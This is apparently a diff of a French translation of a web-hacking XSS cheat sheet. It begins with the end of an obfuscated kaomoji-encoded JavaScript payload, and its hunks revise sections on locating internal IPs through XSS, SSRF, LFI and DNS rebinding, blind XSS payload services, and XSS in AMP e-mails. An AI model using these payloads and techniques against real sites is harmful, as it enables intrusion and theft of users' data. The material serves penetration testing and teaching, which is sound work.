(゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ```javascript // It's also possible to execute JS code only with the chars: []`+!${} @@ -1400,29 +1359,33 @@ xhr.send(null); ``` ### Trouver les adresses IP internes -To find internal IPs, you can use various techniques during a penetration test. These techniques can help you identify the IP addresses assigned to devices within the target network. +To find internal IPs, you can use various techniques during a penetration test. These techniques involve exploiting vulnerabilities in web applications to gather information about the internal network. -#### 1. DNS Enumeration +#### 1. Cross-Site Scripting (XSS) -Perform DNS enumeration to gather information about the target's internal infrastructure. This can be done using tools like `dnsenum`, `dnsrecon`, or `nslookup`. By querying the DNS server, you may obtain internal IP addresses associated with the target domain. +XSS vulnerabilities can be leveraged to execute malicious scripts on a victim's browser. By injecting a script that sends the victim's internal IP address to an external server, you can obtain the internal IP. -#### 2. Network Scanning +#### 2. Server-Side Request Forgery (SSRF) -Use network scanning tools such as `nmap` or `masscan` to scan the target network for live hosts. By scanning the network, you can identify active devices and their corresponding IP addresses. +SSRF vulnerabilities allow an attacker to make requests from the server to internal resources. By crafting a request to a service that reveals internal IP addresses, you can retrieve the internal IPs. -#### 3. Reverse DNS Lookup +#### 3. Local File Inclusion (LFI) -Perform a reverse DNS lookup on the target IP addresses. This can be done using tools like `nslookup` or online services. By performing a reverse DNS lookup, you may obtain information about the internal hostnames associated with the IP addresses. +LFI vulnerabilities can be exploited to read files on the server. By accessing files that contain internal IP addresses, you can obtain the internal IPs. -#### 4. Banner Grabbing +#### 4. Error-Based Information Leakage -Use banner grabbing techniques to gather information from network services running on the target network. By analyzing the banners, you may find internal IP addresses mentioned in the service responses. +Sometimes, error messages can reveal internal IP addresses. By causing an error on the server and analyzing the error message, you may find internal IP information. -#### 5. Social Engineering +#### 5. DNS Rebinding -Engage in social engineering tactics to gather information about the target's internal infrastructure. This can involve contacting employees or using publicly available information to obtain internal IP addresses. +DNS rebinding attacks can be used to bypass the same-origin policy and access internal resources. By setting up a malicious DNS server, you can trick the victim's browser into making requests to internal IPs. -Remember, it is important to obtain proper authorization and follow legal guidelines when performing any penetration testing activities. +#### 6. Port Scanning + +Port scanning can be used to identify open ports on a target system. By scanning the internal IP range, you can discover active internal IPs. + +Remember, when performing a penetration test, always ensure you have proper authorization and follow legal guidelines. ```html ``` -### Abus des Service Workers +### Abus des Workers de Service {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) @@ -1619,9 +1589,9 @@ document.getElementById("message").src += "&"+e.data; {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} -### Charges utiles Blind XSS +### Charges utiles XSS aveugles -Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com) +Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> @@ -1663,7 +1633,7 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com ``` ### Regex - Accéder au contenu caché -À partir de [**cette explication**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX même après que la valeur de l'entrée de la REGEX ait été supprimée : +À partir de [**cette explication**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée REGEX même après que la valeur de l'entrée de la REGEX ait été supprimée : ```javascript // Do regex with flag flag="CTF{FLAG}" @@ -1718,7 +1688,7 @@ Si vous ne pouvez pas injecter de balises HTML, il peut être intéressant d'ess ### XSS dans Amp4Email -AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement des fonctionnalités avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants. +AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement une fonctionnalité avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants. Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent voir et interagir avec les composants AMP directement dans l'e-mail.